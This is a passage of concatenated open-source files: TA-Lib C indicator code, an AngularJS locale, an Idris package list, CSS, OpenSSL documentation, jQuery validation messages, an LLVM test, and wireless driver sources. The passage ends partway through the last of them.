Generated */ {\r\n/* Generated */ VALUE_HANDLE_DEREF_TO_ZERO(outBegIdx);\r\n/* Generated */ VALUE_HANDLE_DEREF_TO_ZERO(outNBElement);\r\n/* Generated */ return ENUM_VALUE(RetCode,TA_SUCCESS,Success);\r\n/* Generated */ }\r\n/* Generated */ outIdx = 0;\r\n/* Generated */ trailingIdx = startIdx-lookbackTotal;\r\n/* Generated */ today = trailingIdx+lookbackK;\r\n/* Generated */ lowestIdx = highestIdx = -1;\r\n/* Generated */ diff = highest = lowest = 0.0;\r\n/* Generated */ #if !defined( _MANAGED ) && !defined(USE_SINGLE_PRECISION_INPUT) && !defined( _JAVA )\r\n/* Generated */ bufferIsAllocated = 0;\r\n/* Generated */ #endif\r\n/* Generated */ #if defined(USE_SINGLE_PRECISION_INPUT) || defined( USE_SUBARRAY )\r\n/* Generated */ ARRAY_ALLOC( tempBuffer, endIdx-today+1 );\r\n/* Generated */ #else\r\n/* Generated */ if( (outSlowK == inHigh) || \r\n/* Generated */ (outSlowK == inLow) || \r\n/* Generated */ (outSlowK == inClose) )\r\n/* Generated */ {\r\n/* Generated */ tempBuffer = outSlowK;\r\n/* Generated */ }\r\n/* Generated */ else if( (outSlowD == inHigh) ||\r\n/* Generated */ (outSlowD == inLow) ||\r\n/* Generated */ (outSlowD == inClose) )\r\n/* Generated */ {\r\n/* Generated */ tempBuffer = outSlowD;\r\n/* Generated */ }\r\n/* Generated */ else\r\n/* Generated */ {\r\n/* Generated */ #if !defined( _MANAGED ) && !defined(_JAVA)\r\n/* Generated */ bufferIsAllocated = 1;\r\n/* Generated */ #endif\r\n/* Generated */ ARRAY_ALLOC( tempBuffer, endIdx-today+1 );\r\n/* Generated */ }\r\n/* Generated */ #endif\r\n/* Generated */ while( today <= endIdx )\r\n/* Generated */ {\r\n/* Generated */ tmp = inLow[today];\r\n/* Generated */ if( lowestIdx < trailingIdx )\r\n/* Generated */ {\r\n/* Generated */ lowestIdx = trailingIdx;\r\n/* Generated */ lowest = inLow[lowestIdx];\r\n/* Generated */ i = lowestIdx;\r\n/* Generated */ while( ++i<=today )\r\n/* Generated */ {\r\n/* Generated */ tmp = inLow[i];\r\n/* Generated */ if( tmp < lowest )\r\n/* Generated */ {\r\n/* Generated */ lowestIdx = i;\r\n/* Generated */ lowest = tmp;\r\n/* Generated */ }\r\n/* Generated */ }\r\n/* Generated */ diff = (highest - lowest)/100.0;\r\n/* Generated */ }\r\n/* Generated */ else if( tmp <= lowest )\r\n/* Generated */ {\r\n/* Generated */ lowestIdx = today;\r\n/* Generated */ lowest = tmp;\r\n/* Generated */ diff = (highest - lowest)/100.0;\r\n/* Generated */ }\r\n/* Generated */ tmp = inHigh[today];\r\n/* Generated */ if( highestIdx < trailingIdx )\r\n/* Generated */ {\r\n/* Generated */ highestIdx = trailingIdx;\r\n/* Generated */ highest = inHigh[highestIdx];\r\n/* Generated */ i = highestIdx;\r\n/* Generated */ while( ++i<=today )\r\n/* Generated */ {\r\n/* Generated */ tmp = inHigh[i];\r\n/* Generated */ if( tmp > highest )\r\n/* Generated */ {\r\n/* Generated */ highestIdx = i;\r\n/* Generated */ highest = tmp;\r\n/* Generated */ }\r\n/* Generated */ }\r\n/* Generated */ diff = (highest - lowest)/100.0;\r\n/* Generated */ }\r\n/* Generated */ else if( tmp >= highest )\r\n/* Generated */ {\r\n/* Generated */ highestIdx = today;\r\n/* Generated */ highest = tmp;\r\n/* Generated */ diff = (highest - lowest)/100.0;\r\n/* Generated */ }\r\n/* Generated */ if( diff != 0.0 )\r\n/* Generated */ tempBuffer[outIdx++] = (inClose[today]-lowest)/diff;\r\n/* Generated */ else\r\n/* Generated */ tempBuffer[outIdx++] = 0.0;\r\n/* Generated */ trailingIdx++;\r\n/* Generated */ today++; \r\n/* Generated */ }\r\n/* Generated */ retCode = FUNCTION_CALL_DOUBLE(MA)( 0, outIdx-1,\r\n/* Generated */ tempBuffer, optInSlowK_Period,\r\n/* Generated */ optInSlowK_MAType, \r\n/* Generated */ outBegIdx, outNBElement, tempBuffer );\r\n/* Generated */ if( (retCode != ENUM_VALUE(RetCode,TA_SUCCESS,Success) ) || ((int)VALUE_HANDLE_DEREF(outNBElement) == 0) )\r\n/* Generated */ {\r\n/* Generated */ #if defined(USE_SINGLE_PRECISION_INPUT)\r\n/* Generated */ ARRAY_FREE( tempBuffer ); \r\n/* Generated */ #else\r\n/* Generated */ ARRAY_FREE_COND( bufferIsAllocated, tempBuffer ); \r\n/* Generated */ #endif\r\n/* Generated */ VALUE_HANDLE_DEREF_TO_ZERO(outBegIdx);\r\n/* Generated */ VALUE_HANDLE_DEREF_TO_ZERO(outNBElement);\r\n/* Generated */ return retCode; \r\n/* Generated */ }\r\n/* Generated */ retCode = FUNCTION_CALL_DOUBLE(MA)( 0, (int)VALUE_HANDLE_DEREF(outNBElement)-1,\r\n/* Generated */ tempBuffer, optInSlowD_Period,\r\n/* Generated */ optInSlowD_MAType,\r\n/* Generated */ outBegIdx, outNBElement, outSlowD );\r\n/* Generated */ ARRAY_MEMMOVE( outSlowK, 0, tempBuffer,lookbackDSlow,(int)VALUE_HANDLE_DEREF(outNBElement));\r\n/* Generated */ #if defined(USE_SINGLE_PRECISION_INPUT)\r\n/* Generated */ ARRAY_FREE( tempBuffer ); \r\n/* Generated */ #else\r\n/* Generated */ ARRAY_FREE_COND( bufferIsAllocated, tempBuffer ); \r\n/* Generated */ #endif\r\n/* Generated */ if( retCode != ENUM_VALUE(RetCode,TA_SUCCESS,Success) )\r\n/* Generated */ {\r\n/* Generated */ VALUE_HANDLE_DEREF_TO_ZERO(outBegIdx);\r\n/* Generated */ VALUE_HANDLE_DEREF_TO_ZERO(outNBElement);\r\n/* Generated */ return retCode;\r\n/* Generated */ }\r\n/* Generated */ VALUE_HANDLE_DEREF(outBegIdx) = startIdx;\r\n/* Generated */ return ENUM_VALUE(RetCode,TA_SUCCESS,Success);\r\n/* Generated */ }\r\n/* Generated */ \r\n/* Generated */ #if defined( _MANAGED )\r\n/* Generated */ }}} // Close namespace TicTacTec.TA.Lib\r\n/* Generated */ #endif\r\n/**** END GENCODE SECTION 5 - DO NOT DELETE THIS LINE ****/\r\n\r\n"} {"text": "'use strict';\nangular.module(\"ngLocale\", [], [\"$provide\", function($provide) {\nvar PLURAL_CATEGORY = {ZERO: \"zero\", ONE: \"one\", TWO: \"two\", FEW: \"few\", MANY: \"many\", OTHER: \"other\"};\nfunction getDecimals(n) {\n n = n + '';\n var i = n.indexOf('.');\n return (i == -1) ? 0 : n.length - i - 1;\n}\n\nfunction getVF(n, opt_precision) {\n var v = opt_precision;\n\n if (undefined === v) {\n v = Math.min(getDecimals(n), 3);\n }\n\n var base = Math.pow(10, v);\n var f = ((n * base) | 0) % base;\n return {v: v, f: f};\n}\n\n$provide.value(\"$locale\", {\n \"DATETIME_FORMATS\": {\n \"AMPMS\": [\n \"AM\",\n \"PM\"\n ],\n \"DAY\": [\n \"Jumapili\",\n \"Jumatatu\",\n \"Jumanne\",\n \"Jumatano\",\n \"Alhamisi\",\n \"Ijumaa\",\n \"Jumamosi\"\n ],\n \"ERANAMES\": [\n \"Kabla ya Kristo\",\n \"Baada ya Kristo\"\n ],\n \"ERAS\": [\n \"BC\",\n \"AD\"\n ],\n \"MONTH\": [\n \"Januari\",\n \"Februari\",\n \"Machi\",\n \"Aprili\",\n \"Mei\",\n \"Juni\",\n \"Julai\",\n \"Agosti\",\n \"Septemba\",\n \"Oktoba\",\n \"Novemba\",\n \"Desemba\"\n ],\n \"SHORTDAY\": [\n \"Jumapili\",\n \"Jumatatu\",\n \"Jumanne\",\n \"Jumatano\",\n \"Alhamisi\",\n \"Ijumaa\",\n \"Jumamosi\"\n ],\n \"SHORTMONTH\": [\n \"Jan\",\n \"Feb\",\n \"Mac\",\n \"Apr\",\n \"Mei\",\n \"Jun\",\n \"Jul\",\n \"Ago\",\n \"Sep\",\n \"Okt\",\n \"Nov\",\n \"Des\"\n ],\n \"fullDate\": \"EEEE, d MMMM y\",\n \"longDate\": \"d MMMM y\",\n \"medium\": \"d MMM y h:mm:ss a\",\n \"mediumDate\": \"d MMM y\",\n \"mediumTime\": \"h:mm:ss a\",\n \"short\": \"dd/MM/y h:mm a\",\n \"shortDate\": \"dd/MM/y\",\n \"shortTime\": \"h:mm a\"\n },\n \"NUMBER_FORMATS\": {\n \"CURRENCY_SYM\": \"UGX\",\n \"DECIMAL_SEP\": \".\",\n \"GROUP_SEP\": \",\",\n \"PATTERNS\": [\n {\n \"gSize\": 3,\n \"lgSize\": 3,\n \"maxFrac\": 3,\n \"minFrac\": 0,\n \"minInt\": 1,\n \"negPre\": \"-\",\n \"negSuf\": \"\",\n \"posPre\": \"\",\n \"posSuf\": \"\"\n },\n {\n \"gSize\": 3,\n \"lgSize\": 3,\n \"maxFrac\": 2,\n \"minFrac\": 2,\n \"minInt\": 1,\n \"negPre\": \"\\u00a4-\",\n \"negSuf\": \"\",\n \"posPre\": \"\\u00a4\",\n \"posSuf\": \"\"\n }\n ]\n },\n \"id\": \"sw-ug\",\n \"pluralCat\": function(n, opt_precision) { var i = n | 0; var vf = getVF(n, opt_precision); if (i == 1 && vf.v == 0) { return PLURAL_CATEGORY.ONE; } return PLURAL_CATEGORY.OTHER;}\n});\n}]);\n"} {"text": "package idrisct\n\nmodules = Utils\n , Basic.Category\n , Basic.Functor\n , Basic.Isomorphism\n , Basic.NaturalIsomorphism\n , Basic.NaturalTransformation\n , Cats.CatsAsCategory\n , Cats.FunctorsAsCategory\n , CoLimits.CoProduct\n , CoLimits.InitialObject\n , Discrete.DiscreteCategory\n , Discrete.FunctionAsFunctor\n , Dual.DualCategory\n , Dual.DualFunctor\n , Free.FreeFunctor\n , Free.Graph\n , Free.Path\n , Free.PathCategory\n , Hom.HomFunctor\n , Idris.EitherAsCoProduct\n , Idris.FunctorAsCFunctor\n , Idris.TypesAsCategory\n , Idris.TypesAsCategoryExtensional\n , Monoid.Monoid\n , Monoid.MonoidAsCategory\n , Monoid.MonoidMorphism\n , Monoid.MonoidMorphismAsFunctor\n , Monoid.MonoidsCategory\n , MonoidalCategory.MonoidalCategory\n , MonoidalCategory.MonoidalCategoryHelpers\n , MonoidalCategory.StrictMonoidalCategory\n , MonoidalCategory.SymmetricMonoidalCategory\n , MonoidalCategory.SymmetricMonoidalCategoryHelpers\n , PointedTypes.PointedTypesCategory\n , Preorder.MonotoneMap\n , Preorder.MonotoneMapAsFunctor\n , Preorder.PreorderAsCategory\n , Preorder.UniquePreorder\n , Product.ProductCategory\n , Product.ProductFunctor\n , Profunctors.Profunctor\n"} {"text": "html {\n height: 100%;\n}\n\nbody {\n margin: 0;\n padding: 0;\n font-family: sans-serif;\n min-height: 100%;\n}\n"} {"text": "=pod\n\n=head1 NAME\n\nSSL_new, SSL_up_ref - create a new SSL structure for a connection\n\n=head1 SYNOPSIS\n\n #include <openssl/ssl.h>\n\n SSL *SSL_new(SSL_CTX *ctx);\n int SSL_up_ref(SSL *s);\n\n=head1 DESCRIPTION\n\nSSL_new() creates a new B<SSL> structure which is needed to hold the\ndata for a TLS/SSL connection. The new structure inherits the settings\nof the underlying context B<ctx>: connection method,\noptions, verification settings, timeout settings. An B<SSL> structure is\nreference counted. Creating an B<SSL> structure for the first time increments\nthe reference count. Freeing it (using SSL_free) decrements it. When the\nreference count drops to zero, any memory or resources allocated to the B<SSL>\nstructure are freed. SSL_up_ref() increments the reference count for an\nexisting B<SSL> structure.\n\n=head1 RETURN VALUES\n\nThe following return values can occur:\n\n=over 4\n\n=item NULL\n\nThe creation of a new SSL structure failed. Check the error stack to\nfind out the reason.\n\n=item Pointer to an SSL structure\n\nThe return value points to an allocated SSL structure.\n\nSSL_up_ref() returns 1 for success and 0 for failure.\n\n=back\n\n=head1 SEE ALSO\n\nL<SSL_free(3)>, L<SSL_clear(3)>,\nL<SSL_CTX_set_options(3)>,\nL<SSL_get_SSL_CTX(3)>,\nL<ssl(3)>\n\n=head1 COPYRIGHT\n\nCopyright 2000-2016 The OpenSSL Project Authors. All Rights Reserved.\n\nLicensed under the OpenSSL license (the \"License\"). You may not use\nthis file except in compliance with the License. You can obtain a copy\nin the file LICENSE in the source distribution or at\nL<https://www.openssl.org/source/license.html>.\n\n=cut\n"} {"text": "(function( factory ) {\n\tif ( typeof define === \"function\" && define.amd ) {\n\t\tdefine( [\"jquery\", \"../jquery.validate\"], factory );\n\t} else if (typeof module === \"object\" && module.exports) {\n\t\tmodule.exports = factory( require( \"jquery\" ) );\n\t} else {\n\t\tfactory( jQuery );\n\t}\n}(function( $ ) {\n\n/*\n * Translated default messages for the jQuery validation plugin.\n * Locale: SK (Slovak; slovenčina, slovenský jazyk)\n */\n$.extend( $.validator.messages, {\n\trequired: \"Povinné zadať.\",\n\tmaxlength: $.validator.format( \"Maximálne {0} znakov.\" ),\n\tminlength: $.validator.format( \"Minimálne {0} znakov.\" ),\n\trangelength: $.validator.format( \"Minimálne {0} a maximálne {1} znakov.\" ),\n\temail: \"E-mailová adresa musí byť platná.\",\n\turl: \"URL musí byť platná.\",\n\tdate: \"Musí byť dátum.\",\n\tnumber: \"Musí byť číslo.\",\n\tdigits: \"Môže obsahovať iba číslice.\",\n\tequalTo: \"Dve hodnoty sa musia rovnať.\",\n\trange: $.validator.format( \"Musí byť medzi {0} a {1}.\" ),\n\tmax: $.validator.format( \"Nemôže byť viac ako {0}.\" ),\n\tmin: $.validator.format( \"Nemôže byť menej ako {0}.\" ),\n\tcreditcard: \"Číslo platobnej karty musí byť platné.\",\n\tstep: $.validator.format( \"Musí byť násobkom čísla {0}.\" )\n} );\nreturn $;\n}));"} {"text": "; NOTE: Assertions have been autogenerated by utils/update_test_checks.py\n; RUN: opt < %s -instsimplify -S | FileCheck %s\n\n; This tests checks optimization consistency for scalar and vector code.\n; If m_Zero() is able to match a vector undef, but not a scalar undef,\n; the two cases will simplify differently.\n\ndefine i32 @test_scalar(i32 %a, i1 %b) {\n; CHECK-LABEL: @test_scalar(\n; CHECK-NEXT: ret i32 undef\n;\n %c = sext i1 %b to i32\n %d = ashr i32 undef, %c\n ret i32 %d\n}\n\ndefine <2 x i32> @test_vector(<2 x i32> %a, <2 x i1> %b) {\n; CHECK-LABEL: @test_vector(\n; CHECK-NEXT: ret <2 x i32> undef\n;\n %c = sext <2 x i1> %b to <2 x i32>\n %d = ashr <2 x i32> undef, %c\n ret <2 x i32> %d\n}\n\n"} {"text": "/******************************************************************************\n *\n * Copyright(c) 2007 - 2011 Realtek Corporation. All rights reserved.\n * \n * This program is free software; you can redistribute it and/or modify it\n * under the terms of version 2 of the GNU General Public License as\n * published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for\n * more details.\n *\n * You should have received a copy of the GNU General Public License along with\n * this program; if not, write to the Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110, USA\n *\n *\n ******************************************************************************/\n\n#ifndef _LINUX_WIRELESS_H\n#define _LINUX_WIRELESS_H\n\n/***************************** INCLUDES *****************************/\n\n#if 0\n#include <linux/types.h>\t\t/* for __u* and __s* typedefs */\n#include <linux/socket.h>\t\t/* for \"struct sockaddr\" et al\t*/\n#include <linux/if.h>\t\t\t/* for IFNAMSIZ and co... */\n#else\n#define __user\n//typedef uint16_t\t__u16;\n#include <sys/socket.h>\t\t\t/* for \"struct sockaddr\" et al\t*/\n#include <net/if.h>\t\t\t/* for IFNAMSIZ and co... */\n#endif\n\n/****************************** TYPES ******************************/\n#ifdef CONFIG_COMPAT\nstruct compat_iw_point {\n compat_caddr_t pointer;\n __u16 length;\n __u16 flags;\n};\n#endif\n/* --------------------------- SUBTYPES --------------------------- */\n/*\n *\tFor all data larger than 16 octets, we need to use a\n *\tpointer to memory allocated in user space.\n */\nstruct\tiw_point\n{\n void __user\t*pointer;\t/* Pointer to the data (in user space) */\n __u16\t\tlength;\t\t/* number of fields or size in bytes */\n __u16\t\tflags;\t\t/* Optional params */\n};\n\n\n/* ------------------------ IOCTL REQUEST ------------------------ */\n/*\n * This structure defines the payload of an ioctl, and is used \n * below.\n *\n * Note that this structure should fit on the memory footprint\n * of iwreq (which is the same as ifreq), which mean a max size of\n * 16 octets = 128 bits. Warning, pointers might be 64 bits wide...\n * You should check this when increasing the structures defined\n * above in this file...\n */\nunion\tiwreq_data\n{\n\t/* Config - generic */\n\tchar\t\tname[IFNAMSIZ];\n\t/* Name : used to verify the presence of wireless extensions.\n\t * Name of the protocol/provider... */\n\n\tstruct iw_point\tdata;\t\t/* Other large parameters */\n};\n\n/*\n * The structure to exchange data for ioctl.\n * This structure is the same as 'struct ifreq', but (re)defined for\n * convenience...\n * Do I need to remind you about structure size (32 octets) ?\n */\nstruct\tiwreq \n{\n\tunion\n\t{\n\t\tchar\tifrn_name[IFNAMSIZ];\t/* if name, e.g. \"eth0\" */\n\t} ifr_ifrn;\n\n\t/* Data part (defined just above) */\n\tunion\tiwreq_data\tu;\n};\n\n#endif\t/* _LINUX_WIRELESS_H */\n\n"} {"text": "diagnosticMessage=Don't use a join with sub queries\ndiagnosticName=Join with sub queries\n"} {"text": "/*\n * Copyright (c) 1996, 2003 VIA Networking Technologies, Inc.\n * All rights reserved.\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program; if not, write to the Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * File: mib.c\n *\n * Purpose: Implement MIB Data Structure\n *\n * Author: Tevin Chen\n *\n * Date: May 21, 1996\n *\n * Functions:\n * STAvClearAllCounter - Clear All MIB Counter\n * STAvUpdateIstStatCounter - Update ISR statistic counter\n * STAvUpdateRDStatCounter - Update Rx statistic counter\n * STAvUpdateRDStatCounterEx - Update Rx statistic counter and copy rcv data\n * STAvUpdateTDStatCounter - Update Tx statistic counter\n * STAvUpdateTDStatCounterEx - Update Tx statistic counter and copy tx data\n * STAvUpdate802_11Counter - Update 802.11 mib counter\n *\n * Revision History:\n *\n */\n\n#include \"upc.h\"\n#include \"mac.h\"\n#include \"tether.h\"\n#include \"mib.h\"\n#include \"wctl.h\"\n#include \"baseband.h\"\n\n/*--------------------- Static Definitions -------------------------*/\nstatic int msglevel =MSG_LEVEL_INFO;\n/*--------------------- Static Classes ----------------------------*/\n\n/*--------------------- Static Variables --------------------------*/\n\n/*--------------------- Static Functions --------------------------*/\n\n/*--------------------- Export Variables --------------------------*/\n\n/*--------------------- Export Functions --------------------------*/\n\n\n\n/*\n * Description: Clear All Statistic Counter\n *\n * Parameters:\n * In:\n * pStatistic - Pointer to Statistic Counter Data Structure\n * Out:\n * none\n *\n * Return Value: none\n *\n */\nvoid STAvClearAllCounter (PSStatCounter pStatistic)\n{\n // set memory to zero\n\tmemset(pStatistic, 0, sizeof(SStatCounter));\n}\n\n\n/*\n * Description: Update Isr Statistic Counter\n *\n * Parameters:\n * In:\n * pStatistic - Pointer to Statistic Counter Data Structure\n * wisr - Interrupt status\n * Out:\n * none\n *\n * Return Value: none\n *\n */\nvoid STAvUpdateIsrStatCounter (PSStatCounter pStatistic, BYTE byIsr0, BYTE byIsr1)\n{\n /**********************/\n /* ABNORMAL interrupt */\n /**********************/\n // not any IMR bit invoke irq\n if (byIsr0 == 0) {\n pStatistic->ISRStat.dwIsrUnknown++;\n return;\n }\n\n\n if (byIsr0 & ISR_ACTX) // ISR, bit0\n pStatistic->ISRStat.dwIsrTx0OK++; // TXDMA0 successful\n\n if (byIsr0 & ISR_BNTX) // ISR, bit2\n pStatistic->ISRStat.dwIsrBeaconTxOK++; // BeaconTx successful\n\n if (byIsr0 & ISR_RXDMA0) // ISR, bit3\n pStatistic->ISRStat.dwIsrRx0OK++; // Rx0 successful\n\n if (byIsr0 & ISR_TBTT) // ISR, bit4\n pStatistic->ISRStat.dwIsrTBTTInt++; // TBTT successful\n\n if (byIsr0 & ISR_SOFTTIMER) // ISR, bit6\n pStatistic->ISRStat.dwIsrSTIMERInt++;\n\n if (byIsr0 & ISR_WATCHDOG) // ISR, bit7\n pStatistic->ISRStat.dwIsrWatchDog++;\n\n\n if (byIsr1 & ISR_FETALERR) // ISR, bit8\n pStatistic->ISRStat.dwIsrUnrecoverableError++;\n\n if (byIsr1 & ISR_SOFTINT) // ISR, bit9\n pStatistic->ISRStat.dwIsrSoftInterrupt++; // software interrupt\n\n if (byIsr1 & ISR_MIBNEARFULL) // ISR, bit10\n pStatistic->ISRStat.dwIsrMIBNearfull++;\n\n if (byIsr1 & ISR_RXNOBUF) // ISR, bit11\n pStatistic->ISRStat.dwIsrRxNoBuf++; // Rx No Buff\n\n}\n\n\n/*\n * Description: Update Rx Statistic Counter\n *\n * Parameters:\n * In:\n * pStatistic - Pointer to Statistic Counter Data Structure\n * byRSR - Rx Status\n * byNewRSR - Rx Status\n * pbyBuffer - Rx Buffer\n * cbFrameLength - Rx Length\n * Out:\n * none\n *\n * Return Value: none\n *\n */\nvoid STAvUpdateRDStatCounter(PSStatCounter pStatistic,\n\t\t\t BYTE byRSR, BYTE byNewRSR,\n\t\t\t BYTE byRxSts, BYTE byRxRate,\n\t\t\t PBYTE pbyBuffer, unsigned int cbFrameLength)\n{\n\t/* need change */\n\tPS802_11Header pHeader = (PS802_11Header)pbyBuffer;\n\n\tif (byRSR & RSR_ADDROK)\n\t\tpStatistic->dwRsrADDROk++;\n\tif (byRSR & RSR_CRCOK) {\n\t\tpStatistic->dwRsrCRCOk++;\n\t\tpStatistic->ullRsrOK++;\n\n\t\tif (cbFrameLength >= ETH_ALEN) {\n\t\t\t/* update counters in case of successful transmission */\n if (byRSR & RSR_ADDRBROAD) {\n pStatistic->ullRxBroadcastFrames++;\n\t\tpStatistic->ullRxBroadcastBytes +=\n\t\t (unsigned long long) cbFrameLength;\n }\n else if (byRSR & RSR_ADDRMULTI) {\n pStatistic->ullRxMulticastFrames++;\n\t\tpStatistic->ullRxMulticastBytes +=\n\t\t (unsigned long long) cbFrameLength;\n }\n else {\n pStatistic->ullRxDirectedFrames++;\n\t\tpStatistic->ullRxDirectedBytes +=\n\t\t (unsigned long long) cbFrameLength;\n }\n }\n }\n\n if(byRxRate==22) {\n pStatistic->CustomStat.ullRsr11M++;\n if(byRSR & RSR_CRCOK) {\n pStatistic->CustomStat.ullRsr11MCRCOk++;\n }\n\tDBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO \"11M: ALL[%d], OK[%d]:[%02x]\\n\",\n\t\t(signed int) pStatistic->CustomStat.ullRsr11M,\n\t\t(signed int) pStatistic->CustomStat.ullRsr11MCRCOk, byRSR);\n }\n else if(byRxRate==11) {\n pStatistic->CustomStat.ullRsr5M++;\n if(byRSR & RSR_CRCOK) {\n pStatistic->CustomStat.ullRsr5MCRCOk++;\n }\n\tDBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO \" 5M: ALL[%d], OK[%d]:[%02x]\\n\",\n\t\t(signed int) pStatistic->CustomStat.ullRsr5M,\n\t\t(signed int) pStatistic->CustomStat.ullRsr5MCRCOk, byRSR);\n }\n else if(byRxRate==4) {\n pStatistic->CustomStat.ullRsr2M++;\n if(byRSR & RSR_CRCOK) {\n pStatistic->CustomStat.ullRsr2MCRCOk++;\n }\n\tDBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO \" 2M: ALL[%d], OK[%d]:[%02x]\\n\",\n\t\t(signed int) pStatistic->CustomStat.ullRsr2M,\n\t\t(signed int) pStatistic->CustomStat.ullRsr2MCRCOk, byRSR);\n }\n else if(byRxRate==2){\n pStatistic->CustomStat.ullRsr1M++;\n if(byRSR & RSR_CRCOK) {\n pStatistic->CustomStat.ullRsr1MCRCOk++;\n }\n\tDBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO \" 1M: ALL[%d], OK[%d]:[%02x]\\n\",\n\t\t(signed int) pStatistic->CustomStat.ullRsr1M,\n\t\t(signed int) pStatistic->CustomStat.ullRsr1MCRCOk, byRSR);\n }\n else if(byRxRate==12){\n pStatistic->CustomStat.ullRsr6M++;\n if(byRSR & RSR_CRCOK) {\n pStatistic->CustomStat.ullRsr6MCRCOk++;\n }\n\tDBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO \" 6M: ALL[%d], OK[%d]\\n\",\n\t\t(signed int) pStatistic->CustomStat.ullRsr6M,\n\t\t(signed int) pStatistic->CustomStat.ullRsr6MCRCOk);\n }\n else if(byRxRate==18){\n pStatistic->CustomStat.ullRsr9M++;\n if(byRSR & RSR_CRCOK) {\n pStatistic->CustomStat.ullRsr9MCRCOk++;\n }\n\tDBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO \" 9M: ALL[%d], OK[%d]\\n\",\n\t\t(signed int) pStatistic->CustomStat.ullRsr9M,\n\t\t(signed int) pStatistic->CustomStat.ullRsr9MCRCOk);\n }\n else if(byRxRate==24){\n pStatistic->CustomStat.ullRsr12M++;\n if(byRSR & RSR_CRCOK) {\n pStatistic->CustomStat.ullRsr12MCRCOk++;\n }\n\tDBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO \"12M: ALL[%d], OK[%d]\\n\",\n\t\t(signed int) pStatistic->CustomStat.ullRsr12M,\n\t\t(signed int) pStatistic->CustomStat.ullRsr12MCRCOk);\n }\n else if(byRxRate==36){\n pStatistic->CustomStat.ullRsr18M++;\n if(byRSR & RSR_CRCOK) {\n pStatistic->CustomStat.ullRsr18MCRCOk++;\n }\n\tDBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO \"18M: ALL[%d], OK[%d]\\n\",\n\t\t(signed int) pStatistic->CustomStat.ullRsr18M,\n\t\t(signed int) pStatistic->CustomStat.ullRsr18MCRCOk);\n }\n else if(byRxRate==48){\n pStatistic->CustomStat.ullRsr24M++;\n if(byRSR & RSR_CRCOK) {\n pStatistic->CustomStat.ullRsr24MCRCOk++;\n }\n\tDBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO \"24M: ALL[%d], OK[%d]\\n\",\n\t\t(signed int) pStatistic->CustomStat.ullRsr24M,\n\t\t(signed int) pStatistic->CustomStat.ullRsr24MCRCOk);\n }\n else if(byRxRate==72){\n pStatistic->CustomStat.ullRsr36M++;\n if(byRSR & RSR_CRCOK) {\n pStatistic->CustomStat.ullRsr36MCRCOk++;\n }\n\tDBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO \"36M: ALL[%d], OK[%d]\\n\",\n\t\t(signed int) pStatistic->CustomStat.ullRsr36M,\n\t\t(signed int) pStatistic->CustomStat.ullRsr36MCRCOk);\n }\n else if(byRxRate==96){\n pStatistic->CustomStat.ullRsr48M++;\n if(byRSR & RSR_CRCOK) {\n pStatistic->CustomStat.ullRsr48MCRCOk++;\n }\n\tDBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO \"48M: ALL[%d], OK[%d]\\n\",\n\t\t(signed int) pStatistic->CustomStat.ullRsr48M,\n\t\t(signed int) pStatistic->CustomStat.ullRsr48MCRCOk);\n }\n else if(byRxRate==108){\n pStatistic->CustomStat.ullRsr54M++;\n if(byRSR & RSR_CRCOK) {\n pStatistic->CustomStat.ullRsr54MCRCOk++;\n }\n\tDBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO \"54M: ALL[%d], OK[%d]\\n\",\n\t\t(signed int) pStatistic->CustomStat.ullRsr54M,\n\t\t(signed int) pStatistic->CustomStat.ullRsr54MCRCOk);\n }\n else {\n\t DBG_PRT(MSG_LEVEL_DEBUG,\n\t\t KERN_INFO \"Unknown: Total[%d], CRCOK[%d]\\n\",\n\t\t (signed int) pStatistic->dwRsrRxPacket+1,\n\t\t (signed int)pStatistic->dwRsrCRCOk);\n }\n\n if (byRSR & RSR_BSSIDOK)\n pStatistic->dwRsrBSSIDOk++;\n\n if (byRSR & RSR_BCNSSIDOK)\n pStatistic->dwRsrBCNSSIDOk++;\n if (byRSR & RSR_IVLDLEN) //invalid len (> 2312 byte)\n pStatistic->dwRsrLENErr++;\n if (byRSR & RSR_IVLDTYP) //invalid packet type\n pStatistic->dwRsrTYPErr++;\n if ((byRSR & (RSR_IVLDTYP | RSR_IVLDLEN)) || !(byRSR & RSR_CRCOK))\n pStatistic->dwRsrErr++;\n\n if (byNewRSR & NEWRSR_DECRYPTOK)\n pStatistic->dwNewRsrDECRYPTOK++;\n if (byNewRSR & NEWRSR_CFPIND)\n pStatistic->dwNewRsrCFP++;\n if (byNewRSR & NEWRSR_HWUTSF)\n pStatistic->dwNewRsrUTSF++;\n if (byNewRSR & NEWRSR_BCNHITAID)\n pStatistic->dwNewRsrHITAID++;\n if (byNewRSR & NEWRSR_BCNHITAID0)\n pStatistic->dwNewRsrHITAID0++;\n\n // increase rx packet count\n pStatistic->dwRsrRxPacket++;\n pStatistic->dwRsrRxOctet += cbFrameLength;\n\n\n if (IS_TYPE_DATA(pbyBuffer)) {\n pStatistic->dwRsrRxData++;\n } else if (IS_TYPE_MGMT(pbyBuffer)){\n pStatistic->dwRsrRxManage++;\n } else if (IS_TYPE_CONTROL(pbyBuffer)){\n pStatistic->dwRsrRxControl++;\n }\n\n if (byRSR & RSR_ADDRBROAD)\n pStatistic->dwRsrBroadcast++;\n else if (byRSR & RSR_ADDRMULTI)\n pStatistic->dwRsrMulticast++;\n else\n 